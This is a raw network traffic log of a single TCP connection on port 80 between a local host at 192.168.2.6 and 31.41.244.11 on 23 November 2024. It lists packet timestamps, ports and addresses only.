Nov 23, 2024 13:28:13.893914938 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.893990993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.894048929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.894113064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.894886017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.894957066 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.895118952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.895179987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.895886898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.895986080 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.895991087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.896070957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.896879911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.896929979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.896975040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.897037983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.897886038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.897957087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.897991896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.898102999 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.898808956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.898884058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.898927927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.898997068 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.899859905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.899933100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.900060892 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.900122881 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.900783062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.900857925 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.900897026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.901099920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.901827097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.901963949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.901968956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.902029037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.902759075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.902880907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.902909994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.903003931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.903723955 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.903841019 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.903857946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.903949976 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.904719114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.904779911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.904831886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.904906034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.905714035 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.905769110 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.905806065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.905862093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.906826019 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.906893015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.906913042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.907025099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.907883883 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.907938004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.907958031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.907991886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.908735991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.908833027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.908842087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.908941031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.909638882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.909701109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.909710884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.909765959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.910609961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.910691977 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.910851002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.910952091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.911602974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.911659002 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.911675930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.911732912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.912594080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.912652969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.912698984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.912815094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.913573027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.913634062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.913681030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.913774014 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.914545059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.914612055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.914663076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.914730072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.915724993 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.915815115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.915844917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.915997982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.916934967 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.917001009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.917045116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.917045116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.917670965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.917726994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.917803049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.917912006 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.918495893 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.918571949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.918608904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.918664932 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.919471979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.919544935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.919580936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.919655085 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.920542002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.920609951 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.920692921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.920748949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.921674013 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.921735048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.921772957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.921854019 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.922686100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.922738075 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.922753096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.922808886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.923480988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.923532963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.923577070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.923651934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.924504042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.924562931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.924664021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.924814939 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.925595045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.925723076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.925729036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.925774097 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.926614046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.926662922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.926687002 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.926712990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.927712917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.927824020 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.927829027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.927879095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.928745031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.928798914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.928884983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.928931952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.930030107 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.930098057 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.930193901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.930319071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.931137085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.931214094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.931215048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.931282043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.931828022 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.931910992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.931926966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.931978941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.932570934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.932621956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.932641983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.932701111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.933531046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.933588982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.933607101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.933661938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.934230089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.934322119 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.934345961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.934397936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.935245991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.935333967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.935355902 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.935534954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.936239004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.936319113 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.936356068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.936526060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.937256098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.937326908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.937351942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.937386990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.938185930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.938244104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.938271999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.938473940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.939166069 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.939237118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.939266920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.939337015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.940150976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.940210104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.940239906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.940299988 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.941142082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.941204071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.941232920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.941308022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.942152977 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.942212105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.942214966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.942281008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:13.943046093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:13.943125963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.092847109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.092920065 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.092943907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.092998028 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.093225002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.093283892 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.093422890 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.093508005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.093545914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.093620062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.094501972 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.094614983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.094636917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.094718933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.095405102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.095475912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.095515966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.095576048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.096379995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.096440077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.096513987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.096791983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.097362995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.097421885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.097467899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.097544909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.098383904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.098440886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.098459005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.098562956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.099347115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.099484921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.099637032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.100316048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.100394011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.100438118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.100495100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.101305962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.101396084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.101408958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.101557970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.102278948 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.102402925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.102461100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.103275061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.103337049 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.103389978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.103487968 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.104258060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.104352951 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.104398966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.104521036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.105232000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.105340958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.105355024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.105408907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.106228113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.106322050 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.106333017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.106378078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.107247114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.107328892 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.107342005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.107387066 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.108196974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.108263016 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.108299017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.108357906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.109184027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.109292984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.109293938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.109343052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.110161066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.110210896 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.110261917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.110358953 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.111160040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.111260891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.111288071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.111341000 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.112195969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.112354040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.112373114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.112422943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.113143921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.113193989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.113228083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.113281012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.114120007 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.114190102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.114212036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.114319086 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.115070105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.115195990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.115232944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.115288973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.116122961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.116225004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.116250038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.116544008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.117139101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.117232084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.117275953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.117336988 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.118032932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.118159056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.118164062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.118211031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.118988991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.119056940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.119122982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.119280100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.119998932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.120064974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.120121956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.120207071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.120985031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.121090889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.121128082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.121176004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.121979952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.122036934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.122081995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.122148037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.122948885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.123035908 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.123060942 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.123107910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.123934984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.124016047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.124038935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.124181986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.124933004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.124990940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.125008106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.125103951 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.125895023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.125952959 CET	49729	80	192.168.2.6	31.41.244.11
